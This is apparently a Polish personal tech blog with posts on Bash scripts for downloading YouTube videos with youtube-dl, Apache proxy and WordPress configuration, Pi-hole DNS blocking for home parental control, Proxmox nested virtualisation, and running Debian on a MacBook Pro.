Ale, niestety, jazda zaczyna się gdy plik ma w nazwie nieciekawe znaki, np. myślniki, a zdarza się to w przypadku YT dość często.
Konia z rzędem temu komu uda się odczytać taki plik, escaping za pomocą opcji "--" nie działa, podobnie jak escapowanie backslashami. Poniżej przykład z życia:

mediainfo --Inform="General;%File_Modified_Date_Local%" "--uGAxPFHVk.mp4"

Ok, no to może spróbujmy czegoś innego. FFmpeg to prawdziwy szwajcarski scyzoryk jeśli chodzi o zabawę z plikami video, do pakietu dołączony jest program ffprobe:

ffprobe -loglevel 0 -print_format json -show_format -show_streams NCEOPRuiyQo.mp4

Wprawdzie czyta pliki z nietypowymi znakami w nazwie ale, NIESTETY, zamiast pełnej daty ISO pokazuje tylko rok, miesiąc i dzień. A nam równie mocno zależy na godzinach, minutach i sekundach.

Kur...dybanek!

Ok, weźmy exiftool:

exiftool  -s -time:FileModifyDate NCEOPRuiyQo.mp4
FileModifyDate                  : 2019:12:17 23:41:09+01:00

Jest! Cała data! Hurrra!

No, to bierzemy się za wycięcie samej daty:

exiftool  -s -time:FileModifyDate NCEOPRuiyQo.mp4 | cut -d: -f2
2019

Kur...dybanek!

Format outputu w tych narzędziach zależy od widzimisię autora, w przypadku exiftoola na szczęścia są przełączniki, które pozwalają na ustawienie innego znaku rozdzielającego:

 exiftool  -t -time:FileModifyDate NCEOPRuiyQo.mp4 | cut -d"   " -f2| sed 's/+.*$//'
2019:12:17 23:41:09

~$ DATA=$(exiftool  -t -time:FileModifyDate NCEOPRuiyQo.mp4 | cut -d"    " -f2 | sed 's/+.*$//')
~$ echo $DATA
~$ 2019:12:17 23:41:09

Aha, i co bardzo ważne, exiftool radzi sobie z dziwnymi plikami, trzeba tylko użyć przełącznika "--" (end of options) w tej kolejności (jak nazwa sugeruje):

exiftool  -s -time:FileModifyDate -- uGAxPFHVk.mp4

Wordpress za proxym na Apaczu

2021-05-20T01:05:00+02:00

Zapisuję, żeby nie wymyślać drugi raz.

Są dwa serwery:
1. wordpress o adresie: 192.168.1.82 gdzie Apache serwuje pliki na porcie: 98
2. proxy: 192.168.1.80
Adres publiczny to np.: wp.aqq.pl

Na serwerze wordpress należy włączy moduł nagłówków:

sudo a2enmod headers

Pomijam proces wygenerowania certyfikatu, np. za pomocą certbota.

Konfiguracja serwera proxy:

<VirtualHost *:80>
        ServerName wp.aqq.pl
        Redirect / https://wp.aqq.pl/
</VirtualHost>

<VirtualHost *:443>
        ServerName wp.aqq.pl
        SSLEngine on
        ProxyPreserveHost On
        ProxyRequests off
        SSLProxyEngine  On
        Loglevel debug
        ProxyPass / http://192.168.1.82:98/
        ProxyPassReverse / http://192.168.1.82:98/
        SSLCertificateFile /etc/letsencrypt/live/wp.aqq.pl/fullchain.pem
        SSLCertificateKeyFile /etc/letsencrypt/live/wp.aqq.pl/privkey.pem
        Include /etc/letsencrypt/options-ssl-apache.conf

        <Location />
# mega ważne nagłówki
                RequestHeader set X-Forwarded-Proto âhttpsâ
                RequestHeader set X-Forwarded-Port â443â
        </Location>
</VirtualHost>

Na serwerze wordpress trzeba zmienić konfigurację portw w Apache'u:

sudo vim /etc/apache2/ports.conf

i dodać linię z odpowiednim portem, tu: 98

Listen 98

Konfiguracja wordpresa:

<VirtualHost *:98>
        ServerName 192.168.0.82
        php_flag default_charset utf8
        ServerAdmin admin@wp.aqq.pl
        ServerPath /var/www/html/wp.aqq.pl
        DocumentRoot /var/www/html/wp.aqq.pl/
        ErrorLog ${APACHE_LOG_DIR}/wp.aqq.pl-error.log
        TransferLog ${APACHE_LOG_DIR}/wp.aqq.pl-transfer.log

        <Directory /var/www/html/wp.aqq.pl>
                AllowOverride All
                Options +FollowSymlinks
        </Directory>
</VirtualHost>

To nie koniec zabawy.

W konfiguracji Wordpressa też trzeba coś zmienić, a konkretnie w pliku:

sudo vim /var/www/html/wp.aqq.pl/wp-config.php

dodać poniższe linie:

define('FORCE_SSL_ADMIN', true);
if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false)
        $_SERVER['HTTPS']='on';

Żegnaj Youtubie!

2021-05-16T10:25:00+02:00

Zrobiłem skrypty w Bashu do pobierania świeżych filmów z konkretnego kanału. Prymityw potrzebny przy budowie Platformy ale może być zalążkiem własnego systemu subksrypcji, który pozwoli na skasowanie konta na YT.

Zadanie okazało bardziej skomplikowane niż początkowo myślałem. Na podstawie wcześniejszych doświaczeń w pobiernaiu pojedynczych filmów, uważałem że pobranie większej ilości i generowanie JSON-a załatwię szybkim, prostym skryptem.

To (błędne) założenie spowodowało, że zabrnąłem już na tyle głęboko, że w pewnym momencie siła bezwładności nie pozawalała mi porzucić Basha i pisać w Pythonie. Utknąłem jakby w kałuży smoły.

Co chwila pojawiały się kolejne kłopoty: a to Youtube używał paskudnych sekwencji w nazwach filmów, a to programy nie potrafiły tych sekwencji eskejpować, a to główny skrypt nie zapisywał częściowo wykonanej pracy do pliku, itd.

Najciekawszym odkryciem dla mnie był fakt, że grep nie potrafi czytać ze standard error i musiałem użyć named pipe.

Skrypty bazują na napisanym w Pythonie youtube-dl, więc właściwie mogłyby i powinny być przepisane właśnie w Pythonie, co być może nastapi.

Skrypty są dwa, główny: yt2.sh oraz yt-convert2.sh.

Pierwszy odpala youtube-dl i pobiera najnowsze filmy, zadaniem drugiego jest konwersja do niższej rozdzielczości i birate, ewentualna konwersja miniatur z JPEG do formatu WEBP, a także wypluwanie opisu filmu w formacie JSON.

Główny skrypt wygląda tak i jak widać uruchamia yt-convert2.sh dla każdego pobieranego filmu:

#!/bin/bash
# skrypt pobiera najnowsze filmy

POBRANE="./pobrane2"                    # plik zapisem pobranych filmów
JSONFILE="./videos.json"                # plik z opisami w JSONie
JSONOUT="./v.json"              # plik z opisami w JSONie
YT=`which youtube-dl`
MAXVIDS=$2                              # ile najnowszych z danego odpalenia
DEFAULT_MAXVIDS=4                       # domyślna ilość filmów
MAXOLD=1day                             # ile dni wstecz
VIDEO=$1                                # url do kanału
VOD="."                                 # folder dla gotowych plików
MAXDURATION=4800                        # maksymalna długość filmu 1,5h
DEFAULT_VIDEO="https://www.youtube.com/channel/UCiwsDgj8mJnsGOr6oN-2OVQ/videos"         # url do kanału wRealu24

# upgrade
$YT -U
#youtube-dl --rm-cache-dir

# usuwam górne i dolne nawiasy
sed -i '1 s/\[//' $JSONFILE
sed -i '$ s/\]//' $JSONFILE

#       --format "worst" \

$YT \
        --quiet \
        --match-filter "duration < $MAXDURATION & !is_live" \
        --ignore-errors \
        --add-metadata \
        --format "best[height=480]/bestvideo[ext=mp4]+bestaudio[ext=m4a]/best[ext=mp4]/best" \
        --download-archive $POBRANE \
        --playlist-end $DEFAULT_MAXVIDS \
        --write-thumbnail \
        --no-progress \
        --merge-output-format mp4 \
        --restrict-filenames \
        --exec './yt-convert2.sh {}' \
        -o "%(id)s.%(ext)s" \
        $DEFAULT_VIDEO

# kopiowanie miniaturek
echo -n -e "\e[31mPrzenoszę miniaturki do $VOD... \033[0m       "
mv -f *.webp $VOD 2> /dev/null
echo "gotowe."

# dopisuję co trzeba do $JSONFILE
echo -n -e "\e[31mTworzę plik: $JSONOUT... \033[0m      "
sed '$ s/.$//' $JSONFILE > $JSONOUT
sed -i '1i \[' $JSONOUT
echo "]" >> $JSONOUT
echo -e "gotowe."


# czyszczenie
echo -n -e "\e[31mKasuję zbędne pliki... \033[0m        "
cd /home/paczor
rm -f *.webp
rm -f *.jpg
rm -f *.jpeg
rm -f *.mp4
echo "gotowe."

Konwersja filmów, miniaturek i wypluwanie JSON-a wygląda zaś tak:

#!/bin/bash
# skrypt konwertuje video i generuje miniatury

JSONFILE="./videos.json"        # plik z opisami w JSONie
VOD="."                 # folder dla gotowych plików
FF=`which ffmpeg`
MINFO=`which mediainfo`                                 # mediainfo wyciąga datę utworzenia filmu
YT=`which youtube-dl`
PREFIX="https://youtu.be"                               # YT prefix
VODURL="https://vod.fubar.pl"                      # url gdzie leżą pliki video

mkfifo mypipe

# parsowanie JSONa
function parse {
         jq \
        --arg status public \
        --arg videoUrl "$VODURL/$1.mp4" \
        --arg thumbnail "$VODURL/$1.webp" \
        --arg seed "true" \
        --arg upload_date "$VIDEODATE" \
        '{id: .id,title: .title,uploadedAt: $upload_date,publishedAt: $upload_date,status: $status,videoUrl: $videoUrl,desc: .description,views: .view_count,likes: .like_count,tags: .tags[:3],thumbnailUrl: $thumbnail,duration: .duration,seed: $seed}'
}

VIDEODATE=$(exiftool  -t -time:FileModifyDate -- "$1" | cut -d" " -f2 | sed 's/+.*$//')
echo -e "\033[31mPrzetwarzam video: $PREFIX/$1\033[0m"
echo -e "\e[92m data emisji:\033[0m     $VIDEODATE"

echo -n -e "\e[92m      zapisuję metadata do: $JSONFILE ...\033[0m      "

$YT --skip-download -j "$PREFIX/$1" 2> mypipe | grep "ERR" mypipe
if [ $? -eq 1 ]; then
        $YT --skip-download -j "$PREFIX/$1" | parse "$1" >> $JSONFILE
        echo -n "," >> $JSONFILE
        echo "bez błędu"
else
        echo "błąd!"
fi

echo -n -e "\e[92m      skaluję do:     $VOD/$1 ... \033[0m     "
#$FF -i $1 -filter:v scale=-2:480 -threads 16 -hide_banner -loglevel error -y $VOD/$1
echo " gotowe."

echo -n -e "\e[92m      konwertuję miniaturkę... \033[0m"
if [[ -e `basename $1 .mp4`.jpg ]]; then
        THUMB=`basename $1 .mp4`.jpg
        convert $THUMB `basename $THUMB .jpg`.webp
        rm -f $THUMB
        echo "zmieniłem JPEG na WEBP."
else
        echo "WEBP już istnieje."
fi

rm mypipe

Miałem z tym sporo grzebania, zgłosiłem dwa błędy które wykryłem w youtube-dl oraz w programie Mediainfo. Pisanie skryptów w Bashu coraz mniej mnie cieszy, nie lubię jego składni, podstawień, itp.

Zjednywanie +

2021-04-21T08:47:00+02:00

Świetny film, z głównej sekwencji można wyciągnąć wnioski dające się przełożyć na rzeczywistość, cytat:

"Aby wyniszczyć, trzeba najpierw wybrać metodę. Przede wszystkim należy rozważyć czy truć od razu, czy najpierw je zjednać, przynęcić, zwabić. Ostra dawka trucizny daje efekt natychmiastowy, ale niszczy mniej więcej trzy czwarte populacji. Reszta ostrzeżona, uchodzi cało. Co więcej - przekaże swoje doświadczenia następnym pokoleniom. Stąd wniosek, że najpierw zjednywać.Â

Najważniejsze jest aby ich nie zrazić do siebie i trzeba najpierw zdobyć ich zaufanie. Zaufanie zdobywa się poprzez dokarmianie. Jak już zaufają to nie myślą wtedy i można łatwo z nimi porządek zrobić wtedy.Â

Tak mi ufają, że leżą trupy obok, zdychają, a następne ciągle jedzą. Zaufały do końca i nie przyjdzie im do głowy, że ja mogłem je oszukać, zdradzić. W ten sposób wyniszczam 80-90% populacji."

Dell R510 jako serwer backupowy

2021-03-30T22:00:00+02:00

Adnotacja z 2026: artykuł nigdy nie dokończony

Ten akurat model, który mam szczęście rewitalizować ma kontroler RAID PERC H700. Kontroler ma tę zaletę, że bez problemu "widzi" 10TB dyski ale ma też tę wadę, że nie posiada wsparcia dla JBOD. A to oznacza, że możemy zapomnieć o stawianiu na nim takich systemów NAS-owych jak FreeNAS i w szystkich tych, które opierają się na ZFS-ie.

Wybrałem inne podejście - zainstalowanie Debiana na pendrive USB, a macierz będzie hardware'owa. Do wykonania jest istalacja usługi, która będzie mnie informowała o ewentualnych problemach z macierzą.

Już na wstępie pojawiły się problemy z brakiem obsługi kart sieciowych. To dlatego, że w oficjalnym obrazie, z którego robiłem penbootkę, nie ma firmware'u dla tych kart bo... jest on "komercyjny". Rozwiazanie jest bardzo proste, należy wyłączyć serwer i na pendrive z zainstalowanym Debianem wgrać firmware pobrany z:

https://packages.debian.org/buster/all/firmware-bnx2/download

Ponownie odpalić system z pendrive'a i za pomocą dpkg zainstalować pobraną paczkę:

sudo dpkg -i firmware-bnx2_20190114-2_all.deb

Restart i karty pracują.

Kolej na pobieranie informacji o stanie kontrolera PERC. Ciekawe czy nie przydadzą się moje doświadczenia ze maciorą i prosiakami?

Domyślne aplikacje - Linux

2021-03-28T09:15:00+02:00

Zrobiłem na szybko skrypt do ustawiania domyślnych aplikacji dla różnych typów MIME. Zaczęło się od ustawiania domyślnego programu dla plików PDF w Alpine. Instalacja Xournall++ (genialny edytor) popsuła mi to co miałem czyli Zathurę. Okazało się i tak, że Alpine korzysta z plików ~/.mailcap albo /etc/mailcap, ale już jakoś poleciało. Nie lubię freedesktop i mam to gdzieś. Musiałem to napisać.

Skryptu nie mam zamiaru rozwijać, kropka. Przy użyciu warto rzucić uwagę na folder przeszukiwania, tu jest tylko /usr/share/applications, a pliki .desktop lubią być porozrzucane. Co za śmietnik! Potrzebne rofi, reszta systemowa.

#!/bin/sh

XDGMIME=`which xdg-mime`
FILETYPE=$($XDGMIME query filetype "$1")
APP=$( find /usr/share/applications -name '*.desktop' -exec grep -l "MimeType=$FILETYPE" {} \; | sed -e 's/^.*\///' -e 's/\.desktop//' | rofi \
        -dmenu -i \
        -p "Wybierz domyślną aplikację dla typu: $FILETYPE" \
        -no-fixed-num-lines \
        -width 80 \
        -font "Inconsolata 12" \
        -hide-scrollbar \
        )
$XDGMIME default "$APP.desktop" "$FILETYPE"
echo "$APP ustawiona jako domyślna aplikacja otwierająca $FILETYPE"

Diorama płonącej serwerowni OVH

2021-03-23T00:55:00+01:00

Adnotacja z 2026: artykuł nigdy nie dokończony

Tytuł jest durny ale oddaje to co udało mi się zrobić.

Zaczęło się od tego, że kupiłem nowy serwer: Actina z procesorem AMD Epyc. Sprzęt fajny, cenowo dużo lepszy niż Delle albo HaPeki. Wszystko mający ale z jedną, powiedzmy wadą: bardzo głośny!

W serwerowni szum jego wiatraków włączyłby się w ogólny chór i nie byłoby sprawy ale ten sprzęt znajduje się w szafie stojącej w pokoju gdzie pracują księgowe. Nawet gdy nie jest mocno obciążony, po prostu wyje nie do wytrzymania. Ktoś kto pisał firmware przy wiatrakach przesadził z ustawieniem dolnej granicy obrotów, co jestem w stanie udowodnić więc do rzeczy.

"Skręcenie" obrotów wiatraka za pomocą ustawień BMC nic nie dało, musiałem znaleźć alternatywne rozwiązanie. Ktoś doradzał zmiejszenie napięcia i nawet początkowo poszedłem w tę stronę, dziś już nie pamiętam dlaczego porzuciłem to rozwiązanie - zdaje się, że wentylatory pracowały nierówno. W końcu wyczytałem, że

https://www.hackster.io/Buechner/4-wired-fan-control-pwm-bb29ac

https://starter-kit.nettigo.pl/2012/01/co-to-jest-pwm/

http://pavouk.org/hw/fan/en_fan4wire.html

#!/bin/bash

read -d '\n' -r -a core_temp_arr <<< $(sensors  | grep 'Tctl:' | sed -e 's/^Tctl: *//;s/+//;s/Â°C//')
total_cpu_temp=0
index=0
for i in "${core_temp_arr[@]}"; do :
    temp=$(echo $i | sed -n 's/Â°C.*//; s/.*[+-]//; p; q')
    let index++
    total_cpu_temp=$(echo "$total_cpu_temp + $temp" | bc)
done
avg_cpu_temp=$(echo "scale=2; $total_cpu_temp / $index" | bc)
echo $avg_cpu_temp
exit 0

stty -F /dev/ttyUSB0 9600 -parity cs8 -cstopb

stty -speed 9600 < /dev/ttyUSB0

Now Send data:

echo "cmd" > /dev/ttyUSB0

VIM: usuwanie złych cudzysłowów

2021-03-14T08:50:00+01:00

Bardzo często w skryptach kopiowanych ze stron internetowych pojawiają się nieprawidłowe cudzysłowy czyli takie â€œâ€?. Dla tekstów pisanych są one jak najbardziej prawidłowe ale skrypty są nudne, nie dopuszczają artystycznej swobody, więc trzeba je zmienić na parę "", czyli na jeden i ten sam cudzysłów.

Sęk w tym jednak, żeby taki znak skopiować i wkleić w linię komend VIM-a. A jest na to bardzo prosty sposób:

"najeżdżamy" na zły znak, naciskamy v, potem y i ESC. W ten sposób znak znalazł się już w schowku.

Teraz używamy linii komend:

:%s/<CTRL+r>"/"/g

naciśnięcie** CTRL** razem z r, a potem znak cudzysłowu sprawi, że w linię koment zostanie wklejony znak ze schowka. Komenda zamieni wszystkie jego wystąpienia na prawidłowych cudzysłów.

EVE na Proxmoxie

2021-02-17T19:14:00+01:00

Środowisko EVE, bo emulowane laboratorium do testowania konfiguracji sieci należy nazwać środowiskiem, to podobno niezłe narzędzie. Nie wiem, jeszcze nie dotykałem, używałem GNS3 i odrobinę ciscowego PacketTracera. Pora spróbować wersji darmowej...

Instalacja EVE na Proxmoxie z pobranej konfiguracji VMWare nie udała mi się. Po skonwertowaniu maszyny:

qm importovf 111 ./EVE-COMM-VM.ovf local-lvm

Maszynka odpala się wyłącznie w trybie single. Próbowałem różnych ustawień ale guzik.

Zainstalowałem jako VM pliku ISO.

Ważne ustawienia:

8GB RAM

1 socket i 4 rdzenie na CPU (nie testowałem innych opcji)

karta grafiki "VMware compatible"

dysk conajmniej 50GB

włączenie tzw. "Nested Hardware-assisted Virtualization"

Włączenie ostatniej z powyższych opcji opisane jest tu:

https://pve.proxmox.com/wiki/Nested_Virtualization

W skrócie, na Proxmoxie należy wykonać to (wersja na Intelu):

cat /sys/module/kvm_intel/parameters/nested

Jeśli pojawi się "N", to:

echo "options kvm-intel nested=Y" > /etc/modprobe.d/kvm-intel.conf

I przeładować moduł kernela, żeby nie restartować maszynki:

modprobe -r kvm_intel
modprobe kvm_intel

EVE ładuje się bez problemu i można zacząć naukę.

Ojciec wie lepiej...

2021-02-13T10:20:00+01:00

...kiedy odciąć pewnego rodzaju, internetową aktywność swych dzieci. Koniec, kropka.

Nadeszła właśnie TA chwila, a że nie zanosi się na szybki powrót do szkoły, zaś po wielu rozmowach i ustaleniach NIC się nie zmienia, więc od PERSWAZJI czas przejść do PREWENCJI.

Pi-hole to oprogramowanie, które jest pośrednikiem pomiędzy serwerem DNS, a naszą, domową siecią. Na podstawie samodzielnie stworzonych białych i czarnych list decyduje czy dać dostęp do danej strony www czy też dostępu odmówić. Tej właściwości, domowy oczywiście, postanowiłem użyć we własnym domu.

Na RaspberryPi postawiłem kontener Pi-hole , robi się to naprawdę w 2 minuty (włącznie z pobraniem obrazu). Na Malince używam HyperiotOS więc mam na niej Dockera. Tworzę plik docker-compose.yml z następującą zawartością:

version: "3"

# More info at https://github.com/pi-hole/docker-pi-hole/ and https://docs.pi-hole.net/
services:
  pihole:
    container_name: pihole
    image: pihole/pihole:latest
    ports:
      - "53:53/tcp"
      - "53:53/udp"
      - "67:67/udp"
      - "80:80/tcp"
      - "443:443/tcp"
    environment:
      TZ: 'Europe/Warsaw'
      # WEBPASSWORD: 'set a secure password here or it will be random'
    # Volumes store your data between container upgrades
    volumes:
      - './etc-pihole/:/etc/pihole/'
      - './etc-dnsmasq.d/:/etc/dnsmasq.d/'
    # Recommended but not required (DHCP needs NET_ADMIN)
    #   https://github.com/pi-hole/docker-pi-hole#note-on-capabilities
    cap_add:
      - NET_ADMIN
    restart: unless-stopped

Do ustawienia są 2 linijki, ta ze strefą czasową, oraz następna gdzie można ustawić stałe hasło do interfejsu www.

Po zapisaniu pliku opdaliłem komendę:

docker-compose up --detach

Uwaga! Należy sprawdzić czy na tym samym hoście jakiś serwis już nie blokuje portów: 53, 67, 80 i 443.

No i już! Na Malince działa Pi-hole!

Aby to sprawdzić, wystarczy w przeglądarce wejść pod adres http://IP-MALINKI/admin/, gdzie IP-MALINKI to adres IP RaspberryPi na którym zainstalowane jest Pi-hole.

Nie będę opisywał tu szczegołów posługiwania się Pi-hole, wystarczy poczytać dokumentację, ale tak na szybko dodam:

najciekawsze było dla mnie samo blokowanie niepożądanych stron www. Można skorzystać z dziesiątków istniejących blacklist ale jeszcze fajniejsza była próba, której efekt uzyskałem niemal natychmiast.

W interfejsie Pi-hole włazłem w sekcję Blacklist (w menu po lewej):

wpisałem "youtube.com", zaznaczyłem opcję "Add domain as wildcard" i kliknąłem "Add to Blacklist". Spróbowałem wejść na youtube.com i... wszedłem! Kicha! Nie działa!

No, nie. Tak głupi nie jestem. Pewnie, że nie zadziała. Ale dlaczego?

Każdy komputer, ten w domowej sieci, ma przypisany numer IP. Może mieć ustawiony na stałe, może też mieć pobierany automatcznie z serwera DHCP. Wraz z tym numerem ma też, a raczej powinien mieć ustawiony adres serwera DNS. Może nie mieć, ale wtedy wszędzie trzeba wchodzić po numerze IP. Kto to spamięta? (można sobie zrobić plik hosts - ktoś doda)

Co stało gdy wszedłem na stronę youtube.com? Moja przeglądarka wysłała, po cichu, zapytanie do serwera DNS: jaki adres IP ma youtube.com? Serwer DNS jej odpowiedział, że taki a taki i przeglądarka połaczyła się z serwerem youtube.

Skoro Pi-hole jest pośrednikiem pomiędzy serwerem DNS to powinien się pojawić w powyższym opisie, powinien ale go nie ma. Dlaczego? Dlatego, że jeszcze czegoś zabrakło w powyższym opisie.

Przeglądarka zna adres IP serwera DNS ale komunikuje się z nim poprzez bramę na świat jaką w każdym domu jest router. Tak, to małe pudełko które zostawiają instalatorzy Orange, Netii czy innego tzw. providera. Router przesyła dalej zapytanie z przeglądarki, a to oznacza że to właśnie jego trzeba zmusić by każde zapytanie DNS najpierw przesyłał przez pośrednika jakim jest Pi-hole.

Mój router to Mikrotik i żeby przechwytywać każde zapytanie DNS muszę do jego konfiguracji dopisać dwie dyrektywy, w moim przypadku wyglądają tak:

/ip firewall nat add chain=dstnat action=dst-nat to-addresses=192.168.1.3 protocol=udp src-address=!192.168.1.3 dst-address=!192.168.1.3 dst-port=53 in-interface=bridge

/ip firewall nat add chain=srcnat action=masquerade protocol=udp src-address=192.168.1.0/24 dst-address=192.168.1.3 dst-port=53

Adres 192.168.1.3 to adres Malinki z Pi-holem.

W skrócie: cokolwiek przyjdzie do routera z sieci wewnętrznej i jest zapytaniem DNS, przekieruj to zapytanie na adres 192.168.1.3, a resztą zajmie się Pi-hole.

Proces jeszcze się nie zakończył, teraz dopiero zaczęła się ciężka harówa - trzeba całość dopieścić tak, żeby technologia pomagała, a nie przeszkadzała. Uczyła, a nie deprawowała.

dePRAWOwać, pasuje mi to słowo, oznacza likwidację naturalnych praw człowieka, a prawa to obowiązki. Człowiek zdeprawowany jest zlewicowany, nieodpowiedzialny i samolubny.

I tym filozoficznym akcentem kończę ten radosny wpis.

Debian na Macbooku Pro Late 2013 (11,3)

2021-02-08T00:38:00+01:00

Mam nadzieję, że tytuł mówi o czym jest ten artykuł, do rzeczy więcâ€¦

Poniższe słowa powstały ponad rok temu i przeleżały wszystkie te miesiące w postaci szkicu, uzupełnianego o nowe pozycje. Wiele się w tym czasie zmieniło więc znajduje się tu mieszanina różnych wersji jądra i samego systemu. Na początku był Jessie, a teraz jest Buster. Wiele problemów rozwiązały kolejne edycje kernela - po prostu pojawiały się nowe sterowniki.

Dziś, czyli w połowie lutego 2021 roku, po ponad roku niby pandemii, nie działa klawiatura, jest problem z USB i HDMI - ewidentnie Macbook dożywa już ostatnich dni.

Z perspektywy ponad 1,5 roku pracy pod Linuksem mogę szczerze powiedzieć, że Macbook to sprzętowa tragedia i odradzam jego zakup jeśli nie ma się zamiaru używać wyłącznie macOSa.

Implementacja USB to porażka, nigdy dobrze nie działało, w poprzednich modelach też miałem z problem z tymi portami. Aluminiowe obudowy są wrażliwe na nacisk dłoni, mój pierwszy Macbook lekko mnie kopał kiedy dotykałem innego sprzętu pod napięciem, oba miały problemy z klawiaturą jeśli oparłem zbyt mocno lewą rękę.

MacOS za to stał się fatalnym systemem, piszę â€žstał sięâ€? bo jeszcze parę wydań temu był mi miły ale ostatnie aktualizacje sprawiały, że coraz bardziej czułem się osaczony kolejnymi â€žochronamiâ€? i â€žudogodnieniamiâ€?.

Wracając do artykułu, nowości pojawiały się tu w miarę jak dostrajałem Macbooka do swoich skromnych potrzeb, a były to:

pozbycie się macOS, z powodów które już wyjaśniłem,
działające X-y z możliwością przełączenia na konsolę (to się nie udało i raczej już nie uda),
Xmonad jako Window Manager, xmobar jako centrum informacyjne,
działające specjalne funkcje (regulacja podświetlenia klawiatury, monitora, regulacja dźwięku, itd.),
trackpad działający równie gładko jak w macOS (udało się połowicznie),
działające WiFi,
działająca hibernacja
drobne usprawnienia softwarowe.

Instalację wykonałem podobnie jak w opisie z (https://blog.jessfraz.com/post/linux-on-mac/), tzn. że również mam refinda jako boot managera, trochę tylko podkoloryzowanego, żeby robić wrażenie i udawać hakiera.

Pierwotnie zainstalowałem kernel 3.18.36. Włączyłem obsługę Thunderbolta. Kartę Ethernet mam na USB i działa z difoltu więc bez kłopotów mogłem od razu uaktualniać i instalować software. Przeboje z wbudowaną kartą WiFi zostawiłem ale są już passe.

reFind

https://github.com/0xbb/apple_set_os.efi

Terminal

Zmieniłem fonty w konsoli na czytelne. Można jednorazowo:

setfont /usr/share/consolefonts/Lat7-Terminus28x14.psf

lub na stałe:

dpkg-reconfigure -plow console-setup

Kolory w konsoli ustawiłem wg tego linku: http://user.it.uu.se/~embe8573/cols/www/index.html:

Xorg

Nvidia

Możesz to czytać dla sportu, a dla niecierpliwych: skocz do następnego punktu.

Xorg działało od razu na driverze nouveau czyli opensourceâ€™owym sterowniku dla Nvidii.
Zachciało mi się jednak oryginalnego sterownika. Mimo wielu prób nie kompilowały mi się moduły jądra. Podczas kompilacji wyskakiwał błąd, że brak jest pliku include/generated/autoconf.h, chociaż plik jak najbardziej był na właściwym miejscu.
Nie chciało mi się kopać z koniem, inni też się wymęczyli, więc użyłem repozytorium jessie-backports (wg.: https://wiki.debian.org/NvidiaGraphicsDrivers#jessie-352):

do /etc/apt/sources.list dodałem:

deb http://httpredir.debian.org/debian jessie-backports main contrib non-free
apt-get update
apt-get install -t jessie-backports nvidia-driver

Trzeba usunąć /etc/X11/xorg.conf, bez niego server X używa domyślnych ustawień i działa prawidłowo.
Na konfigurację przyjdzie jeszcze czasâ€¦
Przerzuciłem się na zamknięty sterownik od NVidii (ten z .run na końcu). Jest OK ale nadal nie działa przechodzenie między X-ami, a konsolą. Podobno ten trick załatwia sprawę:

setpci -v -H1 -s 00:01.00 BRIDGE_CONTROL=0

Aktualizacja: niestety, to nie działa.

Przełączenie na zintegrowaną kartę Intel:

Dlaczego w ogóle warto zawracać sobie tym głowę?

Po pierwsze, gdy używam opesourceâ€™owego sterownika do kart Nvidii - Nouveau - nie działa hibernacja. A właściwie działa ale po wyjściu z zamrożenia użycie procesora skacze do ponad 90%, kernel zaś pluje taką ilością ostrzeżeń, że po kilku minutach syslog może spuchnąć do wielu gigabajtów.

Po drugie, po przejściu na komercyjne sterowniki Nvidii traci się możliwość przejścia z X-ów do konsoli, ekran robi się czarny iâ€¦ koniec. Trzeba restartować system na ślepo.

Po trzecie, Nvidia na komercyjnych sterownikach żre mnóstwo prądu, skracając czas działania na baterii.

Jak to zrobić?

W pliku /boot/efi/EFI/refind/refind.conf dodaj linię:

spoof_osx_version 10.9

która sprawia, że Macbook â€žmyśliâ€?, że bootuje w macOS-ie.

Pobierz gpu-switch ze strony: https://github.com/0xbb/gpu-switch. Użyj go z przełącznikiem â€ž-iâ€?:

gpu-switch -i

Spowoduje to przełączenie na kartę Intela. Teraz reboot.

Zainstaluj pakiet: xserver-xorg-video-intel i gotowe.

A teraz jazda bez trzymanki czyi próba wyłączenia Nvidii, mnie się nie udaje, mam błędy kernela i kończy się kompletnym zwisem. Lecz jeśli jej nie wyłączę to wszystko ładnie hasa.

Działa i hibernacja i komputer nie żre prądu ale.. patrz gdzieś na koniec artykułu wpisu dotyczącego problemów z przerwaniami.

Opis i potrzebny kod są tu:
https://wiki.archlinux.org/index.php/MacBookPro10,x#Graphics_2
oraz tu:
https://wiki.archlinux.org/index.php/MacBookPro11,x#Graphics

i tu:

https://gist.github.com/0xbb/974999591da4b1b2635c

HiDPI

Mój Macbook to model 11,3 czyli posiada gęsty ekran o nazwie Retina. Pod poniższym linkiem jest genialny poradnik co włączyć, żeby tekst na taki ekranie był czytelny. Chyba jedyne co nie zadziałało, to programy napisane w Tkinterze.

https://wiki.archlinux.org/index.php/HiDPI

Przejście na Display Managera: sddm

dpkg-reconfigure sddm

Własny temat ustawia się tak:

https://jlk.fjfi.cvut.cz/arch/manpages/man/sddm.conf.5

w /etc/sddm.conf dodać wpis:

[Theme]
Current=debian-paczor
FacesDir=/home/paczor/Pictures/faces

Tematy są w: /usr/share/sddm/themes/

Skopiowałem debian-breeze jako debian-paczor i zmieniam konfigurację jak chcę.

Ustawiam losową twarz skryptem ~/bin/change_face.sh:

#!/usr/bin/env bash
FACE="face$(( ( RANDOM % 6 ) + 1 )).png"
ln -f /home/paczor/Pictures/$FACE ~/.face.icon

A wywołuję go z pliku ~/.zlogout (bo używam zsh).

XSCREENSAVER

Chcę, żeby startował automatycznie po zalogowaniu się do sesji X-ów.

Tworzę katalog:

mkdir ~/.config/systemd/user

a w nim plik: xscreensaver.service z następującą zawartością:

[Unit]
Description=XScreenSaver Daemon
[Service]
ExecStart=/usr/bin/xscreensaver --no-splash
[Install]
WantedBy=default.target

Następnie włączam serwis:

systemctl --user enable xscreensaver.service

i uruchamiam:

systemctl --user start xscreensaver.service

TOUCHPAD

W /etc/X11/xorg.conf.d dodałem dwa pliki, właściwie to pozostałość po poprzednich próbach i spokojnie można oba skonsolidować.

W 50-synaptics-clickpad.conf:

Section "InputClass"
Identifier "touchpad catchall"
Driver "synaptics"
MatchIsTouchpad "on"
# Option "VertScrollDelta" "-111"
# Option "HorizScrollDelta" "-111"
# Option "MinSpeed" "0.5"
# Option "MaxSpeed" "1.0"
# Option "AccelFactor" "0.075"
# Option "LBCornerButton" "8"
# browser "back" btn
# Option "RBCornerButton" "9"
# browser "forward" btn
EndSection

a w 60-synaptics.conf:

Section "InputClass"
Identifier "touchpad"
Driver "synaptics"
MatchIsTouchpad "on"
MatchDevicePath "/dev/input/event*"
Option "FingerHigh" "50"
Option "TapButton1" "1"
Option "TapButton2" "2"
Option "TapButton3" "3"
Option "RTCornerButton" "0"
Option "RBCornerButton" "0"
Option "LTCornerButton" "0"
